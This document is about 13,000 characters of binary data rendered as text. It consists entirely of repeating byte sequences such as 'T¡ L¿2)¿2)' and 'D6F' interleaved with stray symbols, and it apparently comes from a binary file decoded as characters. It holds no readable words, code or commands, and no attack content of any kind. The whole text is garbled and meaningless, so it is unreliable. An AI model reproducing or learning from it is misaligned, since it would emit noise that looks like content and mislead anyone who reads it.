T¡ L¿2)¿2)ðs…D6Fs0 Ô T¡ L…D6Fq4 : T¡ L¿2)¿2)ðs…D6Fr6 : T¡ L¿2)¿2)ðs…D6Fq: : T¡ L¿2)¿2)ðs…D6Fr@ Õ T¡ L¿2)¿2)t…D6FrB ß T¡ L¿2)¿2)t…D6FqF  T¡ L¿2)¿2)t…D6FrH : T¡ L¿2)¿2)t…D6FqL : T¡ L¿2)¿2)t…D6FrP : T¡ L¿2)¿2)t…D6FqT Ô T¡ L…D6FrX : T¡ L¿2)¿2)t…D6Fr\ : T¡ L¿2)¿2)t…D6Fr^ Õ T¡ L¿2)¿2) t…D6Fqb Ô T¡ L…D6Fqd Ô T¡ L…D6Frh ß T¡ L¿2)¿2) t…D6Fql Ô T¡ L…D6Fqx : T¡ L¿2)¿2) t…D6Fq€ Ô T¡ L…D6FqŒ Ô T¡ L…D6Fr˜ Ô T¡ L…D6Fr  Ô T¡ L…D6Fs¤ Ô T¡ L…D6Fr¨ : T¡ L¿2)¿2) t…D6Fq® Ô T¡ L…D6Fsº Ô T¡ L…D6FqÆ Ô T¡ L…D6FrÐ Ô T¡ L…D6FrÜ Ô T¡ L…D6Frè Ô T¡ L…D6Fqô Ô T¡ L…D6Fsþ Ô T¡ L…D6Fq  Ô T¡ L…D6Fq : T¡ L¿2)¿2) t…D6Fr Ô T¡ L…D6Fs  Ô T¡ L…D6Fr, Ô T¡ L…D6Fq. : T¡ L¿2)¿2) t…D6Fr2 : T¡ L¿2)¿2) t…D6Fr4 Õ T¡ L¿2)¿2)0t…D6Fr6 ß T¡ L¿2)¿2)0t…D6Fr8  T¡ L¿2)¿2)0t…D6Fr< : T¡ L¿2)¿2)0t…D6Fr@ Ô T¡ L…D6FqD : T¡ L¿2)¿2)0t…D6FrL : T¡ L¿2)¿2)0t…D6FqN Õ T¡ L¿2)¿2)@t…D6FrP ß T¡ L¿2)¿2)@t…D6FqR  T¡ L¿2)¿2)@t…D6FrV : T¡ L¿2)¿2)@t…D6FrZ Ô T¡ L…D6Fq\ : T¡ L¿2)¿2)@t…D6Fr^ Ô T¡ L…D6Frb : T¡ L¿2)¿2)@t…D6Fqd : T¡ L¿2)¿2)@t…D6Fqh : T¡ L¿2)¿2)@t…D6Frj Õ T¡ L¿2)¿2)Pt…D6Frn Ô T¡ L…D6Fqp ß T¡ L¿2)¿2)Pt…D6Frr  T¡ L¿2)¿2)Pt…D6Frt : T¡ L¿2)¿2)Pt…D6Fqx Ô T¡ L…D6Fqz : T¡ L¿2)¿2)Pt…D6Fq~ Ô T¡ L…D6Fq€ : T¡ L¿2)¿2)Pt…D6Fr„ : T¡ L¿2)¿2)Pt…D6Frˆ : T¡ L¿2)¿2)Pt…D6FrŠ Õ T¡ L¿2)¿2)`t…D6FrŒ Ô T¡ L…D6FrŽ ß T¡ L¿2)¿2)`t…D6Fs” : T¡ L¿2)¿2)`t…D6Fr˜ : T¡ L¿2)¿2)`t…D6Frš : T¡ L¿2)¿2)`t…D6Fqž : T¡ L¿2)¿2)`t…D6Fs¢ Ô T¡ L…D6Fr¤ : T¡ L¿2)¿2)`t…D6Fr¦ Õ T¡ L¿2)¿2)pt…D6Fr¨ Ô T¡ L…D6Fqª ß T¡ L¿2)¿2)pt…D6Fq® Ô T¡ L…D6Fr°  T¡ L¿2)¿2)pt…D6Fr² : T¡ L¿2)¿2)pt…D6Fr¶ : T¡ L¿2)¿2)pt…D6Fr¸ : T¡ L¿2)¿2)pt…D6Fr¼ : T¡ L¿2)¿2)pt…D6Fr¾ : T¡ L¿2)¿2)pt…D6FqÂ Õ T¡ L¿2)¿2)€t…D6FrÆ Ô T¡ L…D6FrÈ Ô T¡ L…D6FrÊ ß T¡ L¿2)¿2)€t…D6FrÌ Ô T¡ L…D6FrΠ T¡ L¿2)¿2)€t…D6FrÒ : T¡ L¿2)¿2)€t…D6FrÔ : T¡ L¿2)¿2)€t…D6FqØ : T¡ L¿2)¿2)€t…D6FrÜ : T¡ L¿2)¿2)€t…D6FrÞ : T¡ L¿2)¿2)€t…D6Frè Ô T¡ L…D6Fqè ß T¡ L¿2)¿2)t…D6Frì  T¡ L¿2)¿2)t…D6Fqî : T¡ L¿2)¿2)t…D6Fqð : T¡ L¿2)¿2)t…D6Frö Ô T¡ L…D6Fqú : T¡ L¿2)¿2)t…D6Fqþ Ô T¡ L…D6Fr  : T¡ L¿2)¿2)t…D6Fr Ô T¡ L…D6Fr Ô T¡ L…D6Fr Ô T¡ L…D6Fr$  : T¡ L¿2)¿2)t…D6Fr* Ô T¡ L…D6Fr, Ô T¡ L…D6Fs4 Ô T¡ L…D6Fr@ Ô T¡ L…D6FsL Ô T¡ L…D6FrV Ô T¡ L…D6Fq`  Õ T¡ L¿2)¿2)°t…D6Frd Ô T¡ L…D6Frh  ß T¡ L¿2)¿2)°t…D6Frl   T¡ L¿2)¿2)°t…D6Frn  : T¡ L¿2)¿2)°t…D6Frr Ô T¡ L…D6Fqv  : T¡ L¿2)¿2)°t…D6Frz Ô T¡ L…D6Fr|  : T¡ L¿2)¿2)°t…D6Fr~  : T¡ L¿2)¿2)°t…D6Fr‚  : T¡ L¿2)¿2)°t…D6Fr†  ß T¡ L¿2)¿2)Àt…D6FrŠ   T¡ L¿2)¿2)Àt…D6FrŒ  : T¡ L¿2)¿2)Àt…D6Fr  : T¡ L¿2)¿2)Àt…D6Fr’  : T¡ L¿2)¿2)Àt…D6Fq–  : T¡ L¿2)¿2)Àt…D6Frš  Õ T¡ L¿2)¿2)Ðt…D6Frž  ß T¡ L¿2)¿2)Ðt…D6Fq    T¡ L¿2)¿2)Ðt…D6Fs¢ Ô T¡ L…D6Fr¦  : T¡ L¿2)¿2)Ðt…D6Fr¨  : T¡ L¿2)¿2)Ðt…D6Fq¬  : T¡ L¿2)¿2)Ðt…D6Fr®  : T¡ L¿2)¿2)Ðt…D6Fq²  : T¡ L¿2)¿2)Ðt…D6Fr´  Õ T¡ L¿2)¿2)àt…D6Frº Ô T¡ L…D6Fqº   T¡ L¿2)¿2)àt…D6Fr¾  : T¡ L¿2)¿2)àt…D6FrÆ  : T¡ L¿2)¿2)àt…D6FrÈ  : T¡ L¿2)¿2)àt…D6FqÊ  : T¡ L¿2)¿2)àt…D6FqÌ  Õ T¡ L¿2)¿2)ðt…D6FrÐ  ß T¡ L¿2)¿2)ðt…D6FrÒ   T¡ L¿2)¿2)ðt…D6FrÔ  : T¡ L¿2)¿2)ðt…D6FrØ  : T¡ L¿2)¿2)ðt…D6FqÜ  : T¡ L¿2)¿2)ðt…D6FrÞ  : T¡ L¿2)¿2)ðt…D6Fqâ  : T¡ L¿2)¿2)ðt…D6Fqä  Õ T¡ L¿2)¿2)u…D6Fqê Ô T¡ L…D6Fqì Ô T¡ L…D6Frî   T¡ L¿2)¿2)u…D6Frò  : T¡ L¿2)¿2)u…D6Fqô  : T¡ L¿2)¿2)u…D6Fqø  : T¡ L¿2)¿2)u…D6Frü Ô T¡ L…D6Fqþ  : T¡ L¿2)¿2)u…D6Fr Ô T¡ L…D6Fq  Õ T¡ L¿2)¿2)u…D6Fr  ß T¡ L¿2)¿2)u…D6Fr   T¡ L¿2)¿2)u…D6Fr  : T¡ L¿2)¿2)u…D6Fr Ô T¡ L…D6Fr  : T¡ L¿2)¿2)u…D6Fq  : T¡ L¿2)¿2)u…D6Fr  : T¡ L¿2)¿2)u…D6Fs  Õ T¡ L¿2)¿2) u…D6Fr$ Ô T¡ L…D6Fq&  ß T¡ L¿2)¿2) u…D6Fq(   T¡ L¿2)¿2) u…D6Fq*  : T¡ L¿2)¿2) u…D6Fq.  : T¡ L¿2)¿2) u…D6Fr2  : T¡ L¿2)¿2) u…D6Fq6 Ô T¡ L…D6Fr8  : T¡ L¿2)¿2) u…D6Fq:  : T¡ L¿2)¿2) u…D6Fq<  Õ T¡ L¿2)¿2)0u…D6Fq@ Ô T¡ L…D6FrB  ß T¡ L¿2)¿2)0u…D6FrH  : T¡ L¿2)¿2)0u…D6FqL  : T¡ L¿2)¿2)0u…D6FrN  : T¡ L¿2)¿2)0u…D6FqR  : T¡ L¿2)¿2)0u…D6FrV Ô T¡ L…D6FqX  : T¡ L¿2)¿2)0u…D6FrZ  Õ T¡ L¿2)¿2)@u…D6Fr^ Ô T¡ L…D6Frb   T¡ L¿2)¿2)@u…D6Fqd  : T¡ L¿2)¿2)@u…D6Fqh  : T¡ L¿2)¿2)@u…D6Frj  : T¡ L¿2)¿2)@u…D6Frn  : T¡ L¿2)¿2)@u…D6Frr  : T¡ L¿2)¿2)@u…D6Frt Ô T¡ L…D6Frz  ß T¡ L¿2)¿2)`u…D6Fq~   T¡ L¿2)¿2)`u…D6Fq‚ Ô T¡ L…D6Fq„  : T¡ L¿2)¿2)`u…D6Frˆ  : T¡ L¿2)¿2)`u…D6FqŒ Ô T¡ L…D6Fr– Ô T¡ L…D6Frš  : T¡ L¿2)¿2)`u…D6Fr¢ Ô T¡ L…D6Fs® Ô T¡ L…D6Fr° Ô T¡ L…D6Fr¸ Ô T¡ L…D6FqÀ  : T¡ L¿2)¿2)`u…D6FrÄ Ô T¡ L…D6FrÐ Ô T¡ L…D6FqÜ Ô T¡ L…D6Fræ Ô T¡ L…D6Fqî  : T¡ L¿2)¿2)`u…D6Frò Ô T¡ L…D6Fsþ Ô T¡ L…D6Fr  Õ T¡ L¿2)¿2)pu…D6Fq  ß T¡ L¿2)¿2)pu…D6Fs   T¡ L¿2)¿2)pu…D6Fr  : T¡ L¿2)¿2)pu…D6Fq  : T¡ L¿2)¿2)pu…D6Fr  : T¡ L¿2)¿2)pu…D6Fr  : T¡ L¿2)¿2)pu…D6Fr  : T¡ L¿2)¿2)pu…D6Fr  Õ T¡ L¿2)¿2)€u…D6Fq  ß T¡ L¿2)¿2)€u…D6Fr Ô T¡ L…D6Fr   T¡ L¿2)¿2)€u…D6Fq&  : T¡ L¿2)¿2)€u…D6Fr*  : T¡ L¿2)¿2)€u…D6Fr.  : T¡ L¿2)¿2)€u…D6Fq0  : T¡ L¿2)¿2)€u…D6Fr2  Õ T¡ L¿2)¿2)u…D6Fr8 Ô T¡ L…D6Fs:   T¡ L¿2)¿2)u…D6Fq< Ô T¡ L…D6Fr@  : T¡ L¿2)¿2)u…D6FrB  : T¡ L¿2)¿2)u…D6FrF Ô T¡ L…D6FrL  : T¡ L¿2)¿2)u…D6FrP  : T¡ L¿2)¿2)u…D6FrP  Õ T¡ L¿2)¿2) u…D6FrT  ß T¡ L¿2)¿2) u…D6FrV   T¡ L¿2)¿2) u…D6FqZ Ô T¡ L…D6Fq\  : T¡ L¿2)¿2) u…D6Frb  : T¡ L¿2)¿2) u…D6Frd  : T¡ L¿2)¿2) u…D6Fqh  : T¡ L¿2)¿2) u…D6Fqj °Õ T¡ L¿2)¿2)°u…D6Fqn Ô T¡ L…D6Frn °ß T¡ L¿2)¿2)°u…D6Frr ° T¡ L¿2)¿2)°u…D6Frv Ô T¡ L…D6Frx °: T¡ L¿2)¿2)°u…D6Fqz °: T¡ L¿2)¿2)°u…D6Fr~ °: T¡ L¿2)¿2)°u…D6Fq€ °: T¡ L¿2)¿2)°u…D6Fr„ °: T¡ L¿2)¿2)°u…D6Fq†  Õ T¡ L¿2)¿2)Àu…D6FsŠ Ô T¡ L…D6FrŒ  ß T¡ L¿2)¿2)Àu…D6Fs Ô T¡ L…D6Fr’   T¡ L¿2)¿2)Àu…D6Fr”  : T¡ L¿2)¿2)Àu…D6Fqš  : T¡ L¿2)¿2)Àu…D6Frœ  : T¡ L¿2)¿2)Àu…D6Fq   : T¡ L¿2)¿2)Àu…D6Fr¢  Õ T¡ L¿2)¿2)Ðu…D6Fq¤  ß T¡ L¿2)¿2)Ðu…D6Fr¦   T¡ L¿2)¿2)Ðu…D6Fr¬  : T¡ L¿2)¿2)Ðu…D6Fq°  : T¡ L¿2)¿2)Ðu…D6Fq²  : T¡ L¿2)¿2)Ðu…D6Fr¶ Ô T¡ L…D6Fr¸  : T¡ L¿2)¿2)Ðu…D6Fr¼ Ô T¡ L…D6Fq¾ Ô T¡ L…D6FqÀ  Õ T¡ L¿2)¿2)àu…D6Fr  ß T¡ L¿2)¿2)àu…D6FrÆ Ô T¡ L…D6FqÈ   T¡ L¿2)¿2)àu…D6FsÌ Ô T¡ L…D6FrÎ  : T¡ L¿2)¿2)àu…D6FrÒ  : T¡ L¿2)¿2)àu…D6FqÔ  : T¡ L¿2)¿2)àu…D6FrØ  : T¡ L¿2)¿2)àu…D6FqÚ  : T¡ L¿2)¿2)àu…D6FrÜ  Õ T¡ L¿2)¿2)ðu…D6Frà Ô T¡ L…D6Frè  : T¡ L¿2)¿2)ðu…D6Frì  : T¡ L¿2)¿2)ðu…D6Frî  : T¡ L¿2)¿2)ðu…D6Frò  : T¡ L¿2)¿2)ðu…D6Fqö  : T¡ L¿2)¿2)ðu…D6Frø  Õ T¡ L¿2)¿2)v…D6Fqú Ô T¡ L…D6Fqþ Ô T¡ L…D6Fqþ  ß T¡ L¿2)¿2)v…D6Fq   T¡ L¿2)¿2)v…D6Fq Ô T¡ L…D6Fq  : T¡ L¿2)¿2)v…D6Fr  : T¡ L¿2)¿2)v…D6Fr  : T¡ L¿2)¿2)v…D6Fq Ô T¡ L…D6Fr  : T¡ L¿2)¿2)v…D6Fr& Ô T¡ L…D6Fq,  Õ T¡ L¿2)¿2) v…D6Fr2 Ô T¡ L…D6Fr6 Ô T¡ L…D6Fq> Ô T¡ L…D6FrJ Ô T¡ L…D6FrT Ô T¡ L…D6FqZ  ß T¡ L¿2)¿2) v…D6Fr` Ô T¡ L…D6Frl Ô T¡ L…D6Frx Ô T¡ L…D6Fr‚ Ô T¡ L…D6FqŽ Ô T¡ L…D6Fr–   T¡ L¿2)¿2) v…D6Fqš Ô T¡ L…D6Fq¤ Ô T¡ L…D6Fr° Ô T¡ L…D6Fr¼ Ô T¡ L…D6FqÈ Ô T¡ L…D6FrÒ Ô T¡ L…D6FqÞ Ô T¡ L…D6Frê Ô T¡ L…D6Frô Ô T¡ L…D6Fqü  : T¡ L¿2)¿2) v…D6Fq Ô T¡ L…D6Fq  : T¡ L¿2)¿2) v…D6Fq  : T¡ L¿2)¿2) v…D6Fq  : T¡ L¿2)¿2) v…D6Fq  : T¡ L¿2)¿2) v…D6Fr  Õ T¡ L¿2)¿2)0v…D6Fr Ô T¡ L…D6Fq  ß T¡ L¿2)¿2)0v…D6Fr Ô T¡ L…D6Fr   T¡ L¿2)¿2)0v…D6Fr  : T¡ L¿2)¿2)0v…D6Fq  : T¡ L¿2)¿2)0v…D6Fq$ Ô T¡ L…D6Fq&  : T¡ L¿2)¿2)0v…D6Fq*  : T¡ L¿2)¿2)0v…D6Fq.  : T¡ L¿2)¿2)0v…D6Fr2 Ô T¡ L…D6Fq2  Õ T¡ L¿2)¿2)@v…D6Fq6  ß T¡ L¿2)¿2)@v…D6Fq8   T¡ L¿2)¿2)@v…D6Fq>  : T¡ L¿2)¿2)@v…D6Fq@  : T¡ L¿2)¿2)@v…D6FrD  : T¡ L¿2)¿2)@v…D6FqH Ô T¡ L…D6FqJ  : T¡ L¿2)¿2)@v…D6FrL  Õ T¡ L¿2)¿2)Pv…D6FqP Ô T¡ L…D6FrR  ß T¡ L¿2)¿2)Pv…D6FrT   T¡ L¿2)¿2)Pv…D6FqX  : T¡ L¿2)¿2)Pv…D6FrZ  : T¡ L¿2)¿2)Pv…D6Fq^  : T¡ L¿2)¿2)Pv…D6Fqb  : T¡ L¿2)¿2)Pv…D6Frh  Õ T¡ L¿2)¿2)`v…D6Frj  ß T¡ L¿2)¿2)`v…D6Frl Ô T¡ L…D6Frr  : T¡ L¿2)¿2)`v…D6Fqv  : T¡ L¿2)¿2)`v…D6Fqx  : T¡ L¿2)¿2)`v…D6Fr| Ô T¡ L…D6Fr~ Ô T¡ L…D6Fq€  : T¡ L¿2)¿2)`v…D6Fq„  : T¡ L¿2)¿2)`v…D6Fq†  Õ T¡ L¿2)¿2)pv…D6Frˆ  ß T¡ L¿2)¿2)pv…D6FrŒ Ô T¡ L…D6FqŒ   T¡ L¿2)¿2)pv…D6Fr  : T¡ L¿2)¿2)pv…D6Fq”  : T¡ L¿2)¿2)pv…D6Fr˜  : T¡ L¿2)¿2)pv…D6Frœ Ô T¡ L…D6Frž  : T¡ L¿2)¿2)pv…D6Fq¢ Ô T¡ L…D6Fr¤  : T¡ L¿2)¿2)pv…D6Fr¦  Õ T¡ L¿2)¿2)v…D6Fr¬ Ô T¡ L…D6Fr°  ß T¡ L¿2)¿2)v…D6Fr¸ Ô T¡ L…D6Fq¼ Ô T¡ L…D6FrÂ Ô T¡ L…D6FqÆ   T¡ L¿2)¿2)v…D6FrÎ Ô T¡ L…D6FqÒ  : T¡ L¿2)¿2)v…D6FrÚ Ô T¡ L…D6Fqæ Ô T¡ L…D6Frð Ô T¡ L…D6Frô  : T¡ L¿2)¿2)v…D6Frü Ô T¡ L…D6Fq Ô T¡ L…D6Fr Ô T¡ L…D6Fq Ô T¡ L…D6Fr* Ô T¡ L…D6Fq6 Ô T¡ L…D6Fr> : T¡ L¿2)¿2)v…D6FqB Ô T¡ L…D6FrD : T¡ L¿2)¿2)v…D6FrH : T¡ L¿2)¿2)v…D6FqJ Õ T¡ L¿2)¿2) v…D6FqN Ô T¡ L…D6FqN ß T¡ L¿2)¿2) v…D6FqP  T¡ L¿2)¿2) v…D6FqT : T¡ L¿2)¿2) v…D6FqX : T¡ L¿2)¿2) v…D6FqZ : T¡ L¿2)¿2) v…D6Fq^ : T¡ L¿2)¿2) v…D6Frb : T¡ L¿2)¿2) v…D6Fqf Ô T¡ L…D6Frh Ô T¡ L…D6Frj Õ T¡ L¿2)¿2)°v…D6Fql ß T¡ L¿2)¿2)°v…D6Frp  T¡ L¿2)¿2)°v…D6Frt Ô T¡ L…D6Frv : T¡ L¿2)¿2)°v…D6Fqx : T¡ L¿2)¿2)°v…D6Fq| Ô T¡ L…D6Fr~ : T¡ L¿2)¿2)°v…D6Fr‚ : T¡ L¿2)¿2)°v…D6Fs† : T¡ L¿2)¿2)°v…D6Frˆ Õ T¡ L¿2)¿2)Àv…D6FrŠ ß T¡ L¿2)¿2)Àv…D6FqŽ Ô T¡ L…D6Fr  T¡ L¿2)¿2)Àv…D6Fq” Ô T¡ L…D6Fq– : T¡ L¿2)¿2)Àv…D6Fq˜ : T¡ L¿2)¿2)Àv…D6Frœ : T¡ L¿2)¿2)Àv…D6Fs  Ô T¡ L…D6Fq¢ : T¡ L¿2)¿2)Àv…D6Fr¤ : T¡ L¿2)¿2)Àv…D6Fq¨ Õ T¡ L¿2)¿2)Ðv…D6Fq®  T¡ L¿2)¿2)Ðv…D6Fr° : T¡ L¿2)¿2)Ðv…D6Fr´ : T¡ L¿2)¿2)Ðv…D6Fq¸ Ô T¡ L…D6Fqº : T¡ L¿2)¿2)Ðv…D6Fr¼ : T¡ L¿2)¿2)Ðv…D6FrÀ : T¡ L¿2)¿2)Ðv…D6FrÂ Õ T¡ L¿2)¿2)àv…D6FqÆ Ô T¡ L…D6FqÈ ß T¡ L¿2)¿2)àv…D6FqÊ  T¡ L¿2)¿2)àv…D6FqÌ : T¡ L¿2)¿2)àv…D6FrР: T¡ L¿2)¿2)àv…D6FrÒ : T¡ L¿2)¿2)àv…D6FqÖ : T¡ L¿2)¿2)àv…D6FrÚ Ô T¡ L…D6FqÜ : T¡ L¿2)¿2)àv…D6FqÞ Õ T¡ L¿2)¿2)ðv…D6Fqâ Ô T¡ L…D6Fqä  T¡ L¿2)¿2)ðv…D6Frè : T¡ L¿2)¿2)ðv…D6Fqì : T¡ L¿2)¿2)ðv…D6Fqî Ô T¡ L…D6Fqò : T¡ L¿2)¿2)ðv…D6Frö : T¡ L¿2)¿2)ðv…D6Fqø : T¡ L¿2)¿2)ðv…D6Frú Õ T¡ L¿2)¿2)w…D6Fqü ß T¡ L¿2)¿2)w…D6Fr  T¡ L¿2)¿2)w…D6Fr Ô T¡ L…D6Fq : T¡ L¿2)¿2)w…D6Fr Ô T¡ L…D6Fq  : T¡ L¿2)¿2)w…D6Fr  : T¡ L¿2)¿2)w…D6Fq : T¡ L¿2)¿2)w…D6Fq Ô T¡ L…D6Fr : T¡ L¿2)¿2)w…D6Fq Õ T¡ L¿2)¿2)w…D6Fr Ô T¡ L…D6Fq ß T¡ L¿2)¿2)w…D6Fr   T¡ L¿2)¿2)w…D6Fq$ : T¡ L¿2)¿2)w…D6Fr( Ô T¡ L…D6Fr, : T¡ L¿2)¿2)w…D6Fr0 : T¡ L¿2)¿2)w…D6Fs4 Ô T¡ L…D6Fr6 : T¡ L¿2)¿2)w…D6Fr: : T¡ L¿2)¿2)w…D6Fq> Õ T¡ L¿2)¿2)0w†D6Fq Ô T¡ L†D6Fr Ô T¡ L†D6Fq Ô T¡ L†D6Fs Ô T¡ L†D6Fq ß T¡ L¿2)¿2)0w†D6Fr Ô T¡ L†D6Fq( Ô T¡ L†D6Fq4 Ô T¡ L†D6Fr8  T¡ L¿2)¿2)0w†D6Fq> Ô T¡ L†D6FqJ Ô T¡ L†D6FrV Ô T¡ L†D6Fqb Ô T¡ L†D6Fql Ô T¡ L†D6Frx Ô T¡ L†D6Fq‚ : T¡ L¿2)¿2)0w†D6Fqˆ Ô T¡ L†D6Fr Ô T¡ L†D6Frœ Ô T¡ L†D6Fq¦ Ô T¡ L†D6Fr² Ô T¡ L†D6Fq¼ Ô T¡ L†D6FqÈ Ô T¡ L†D6FrÔ Ô T¡ L†D6FqØ : T¡ L¿2)¿2)0w†D6FqÜ : T¡ L¿2)¿2)0w†D6Frà Ô T¡ L†D6Fqâ : T¡ L¿2)¿2)0w†D6Frä : T¡ L¿2)¿2)0w†D6Fqè Õ T¡ L¿2)¿2)@w†D6Frì  T¡ L¿2)¿2)@w†D6Frð : T¡ L¿2)¿2)@w†D6Fqô : T¡ L¿2)¿2)@w†D6Fqø : T¡ L¿2)¿2)@w†D6Frþ : T¡ L¿2)¿2)@w†D6Fq Õ T¡ L¿2)¿2)Pw†D6Fr ß T¡ L¿2)¿2)Pw†D6Fq  T¡ L¿2)¿2)Pw†D6Fq Ô T¡ L†D6Fq  : T¡ L¿2)¿2)Pw†D6Fq : T¡ L¿2)¿2)Pw†D6Fq : T¡ L¿2)¿2)Pw†D6Fr : T¡ L¿2)¿2)Pw†D6Fq : T¡ L¿2)¿2)Pw†D6Fq Ô T¡ L†D6Fq Õ T¡ L¿2)¿2)`w†D6Fr ß T¡ L¿2)¿2)`w†D6Fs" Ô T¡ L†D6Fq$  T¡ L¿2)¿2)`w†D6Fr( Ô T¡ L†D6Fr* : T¡ L¿2)¿2)`w†D6Fr, : T¡ L¿2)¿2)`w†D6Fr0 : T¡ L¿2)¿2)`w†D6Fq4 Ô T¡ L†D6Fr6 : T¡ L¿2)¿2)`w†D6Fr8 : T¡ L¿2)¿2)`w†D6Fr< Õ T¡ L¿2)¿2)pw†D6Fr@ ß T¡ L¿2)¿2)pw†D6FrB Ô T¡ L†D6FqD  T¡ L¿2)¿2)pw†D6FqH : T¡ L¿2)¿2)pw†D6FrJ : T¡ L¿2)¿2)pw†D6FqP : T¡ L¿2)¿2)pw†D6FrT : T¡ L¿2)¿2)pw†D6FrX Ô T¡ L†D6FrX Õ T¡ L¿2)¿2)€w†D6Fq\ ß T¡ L¿2)¿2)€w†D6Fr^ Ô T¡ L†D6Frb  T¡ L¿2)¿2)€w†D6Fqd : T¡ L¿2)¿2)€w†D6Fqh : T¡ L¿2)¿2)€w†D6Frj : T¡ L¿2)¿2)€w†D6Fqn Ô T¡ L†D6Frp : T¡ L¿2)¿2)€w†D6Frv Ô T¡ L†D6Frx : T¡ L¿2)¿2)€w†D6Fq| Õ T¡ L¿2)¿2) w†D6Fr~ ß T¡ L¿2)¿2) w†D6Fr‚ Ô T¡ L†D6Fq‚  T¡ L¿2)¿2) w†D6Frˆ Ô T¡ L†D6FqŠ Ô T¡ L†D6Fq : T¡ L¿2)¿2) w†D6Fr– Ô T¡ L†D6Fqž : T¡ L¿2)¿2) w†D6Fr¢ Ô T¡ L†D6Fr¤ : T¡ L¿2)¿2) w†D6Fr® Ô T¡ L†D6Fr¸ Ô T¡ L†D6FqÄ Ô T¡ L†D6FrÐ Ô T¡ L†D6FrÚ Ô T¡ L†D6Fqæ Ô T¡ L†D6Frò Ô T¡ L†D6Frô : T¡ L¿2)¿2) w†D6Frþ Ô T¡ L†D6Fq Ô T¡ L†D6Fr : T¡ L¿2)¿2) w†D6Fq ß T¡ L¿2)¿2)°w†D6Fr  T¡ L¿2)¿2)°w†D6Fr : T¡ L¿2)¿2)°w†D6Fr" : T¡ L¿2)¿2)°w†D6Fr$ : T¡ L¿2)¿2)°w†D6Fr( : T¡ L¿2)¿2)°w†D6Fr* : T¡ L¿2)¿2)°w†D6Fq, Õ T¡ L¿2)¿2)Àw†D6Fr0 Ô T¡ L†D6Fq2 ß T¡ L¿2)¿2)Àw†D6Fq6 Ô T¡ L†D6Fr8  T¡ L¿2)¿2)Àw†D6Fq< : T¡ L¿2)¿2)Àw†D6Fq> : T¡ L¿2)¿2)Àw†D6FqF : T¡ L¿2)¿2)Àw†D6FqH : T¡ L¿2)¿2)Àw†D6FqL Ô T¡ L†D6FrN Ô T¡ L†D6FrP Õ T¡ L¿2)¿2)Ðw†D6FrR ß T¡ L¿2)¿2)Ðw†D6FrV  T¡ L¿2)¿2)Ðw†D6FrX : T¡ L¿2)¿2)Ðw†D6Fr\ : T¡ L¿2)¿2)Ðw†D6Fq^ Ô T¡ L†D6Fq` : T¡ L¿2)¿2)Ðw†D6Fqd : T¡ L¿2)¿2)Ðw†D6Fqf : T¡ L¿2)¿2)Ðw†D6Frj Ô T¡ L†D6Fql Õ T¡ L¿2)¿2)àw†D6Frn ß T¡ L¿2)¿2)àw†D6Frr Ô T¡ L†D6Fqt  T¡ L¿2)¿2)àw†D6Frx : T¡ L¿2)¿2)àw†D6Fr| Ô T¡ L†D6Fr~ : T¡ L¿2)¿2)àw†D6Fq€ : T¡ L¿2)¿2)àw†D6Fq„ : T¡ L¿2)¿2)àw†D6Fq† : T¡ L¿2)¿2)àw†D6Fqˆ Õ T¡ L¿2)¿2)ðw†D6FqŒ Ô T¡ L†D6FqŽ ß T¡ L¿2)¿2)ðw†D6Fr  T¡ L¿2)¿2)ðw†D6Fr” Ô T¡ L†D6Fq– : T¡ L¿2)¿2)ðw†D6Fq˜ : T¡ L¿2)¿2)ðw†D6Fqœ : T¡ L¿2)¿2)ðw†D6Fq  : T¡ L¿2)¿2)ðw†D6Fq¢ : T¡ L¿2)¿2)ðw†D6Fq¦°Õ T¡ L¿2)¿2)x†D6Fr¨ Ô T¡ L†D6Fqª°ß T¡ L¿2)¿2)x†D6Fq® Ô T¡ L†D6Fq°° T¡ L¿2)¿2)x†D6Fq´°: T¡ L¿2)¿2)x†D6Fq¶ Ô T¡ L†D6Fqº°: T¡ L¿2)¿2)x†D6Fr¼°: T¡ L¿2)¿2)x†D6FrÀ°: T¡ L¿2)¿2)x†D6Fqİ: T¡ L¿2)¿2)x†D6FqÊ ß T¡ L¿2)¿2)x†D6FqÌ  T¡ L¿2)¿2)x†D6FqР: T¡ L¿2)¿2)x†D6FqÖ : T¡ L¿2)¿2)x†D6FqØ : T¡ L¿2)¿2)x†D6FrÜ : T¡ L¿2)¿2)x†D6Frà Ô T¡ L†D6Fqà Õ T¡ L¿2)¿2) x†D6Fqä Ô T¡ L†D6Fqæ ß T¡ L¿2)¿2) x†D6Fqè  T¡ L¿2)¿2) x†D6Frê : T¡ L¿2)¿2) x†D6Fqî : T¡ L¿2)¿2) x†D6Fqò : T¡ L¿2)¿2) x†D6Fqø : T¡ L¿2)¿2) x†D6Fqþ ß T¡ L¿2)¿2)0x†D6Fr  T¡ L¿2)¿2)0x†D6Fq Ô T¡ L†D6Fr  : T¡ L¿2)¿2)0x†D6Fr : T¡ L¿2)¿2)0x†D6Fq : T¡ L¿2)¿2)0x†D6Fq Ô T¡ L†D6Fq : T¡ L¿2)¿2)0x†D6Fq Ô T¡ L†D6Fr  : T¡ L¿2)¿2)0x†D6Fr& Ô T¡ L†D6Fr, Õ T¡ L¿2)¿2)Px†D6Fq2 Ô T¡ L†D6Fr> Ô T¡ L†D6FrD ß T¡ L¿2)¿2)Px†D6FrJ Ô T¡ L†D6FqT Ô T¡ L†D6Fr` Ô T¡ L†D6Fql Ô T¡ L†D6Fqv Ô T¡ L†D6Fq‚ Ô T¡ L†D6FrŽ Ô T¡ L†D6Frš Ô T¡ L†D6Frœ  T¡ L¿2)¿2)Px†D6Fr¤ Ô T¡ L†D6Fq° Ô T¡ L†D6Fr¼ Ô T¡ L†D6FrÈ Ô T¡ L†D6FrÒ Ô T¡ L†D6FrÞ Ô T¡ L†D6Frê Ô T¡ L†D6Fqô Ô T¡ L†D6Fqø : T¡ L¿2)¿2)Px†D6Fqü : T¡ L¿2)¿2)Px†D6Fq : T¡ L¿2)¿2)Px†D6Fr : T¡ L¿2)¿2)Px†D6Fq : T¡ L¿2)¿2)Px†D6Fr Õ T¡ L¿2)¿2)`x†D6Fq  ß T¡ L¿2)¿2)`x†D6Fr Ô T¡ L†D6Fr  T¡ L¿2)¿2)`x†D6Fr Ô T¡ L†D6Fr : T¡ L¿2)¿2)`x†D6Fq : T¡ L¿2)¿2)`x†D6Fq Ô T¡ L†D6Fr : T¡ L¿2)¿2)`x†D6Fq  : T¡ L¿2)¿2)`x†D6Fq$ : T¡ L¿2)¿2)`x†D6Fs( Ô T¡ L†D6Fr* Õ T¡ L¿2)¿2)px†D6Fq, ß T¡ L¿2)¿2)px†D6Fr. Ô T¡ L†D6Fr0  T¡ 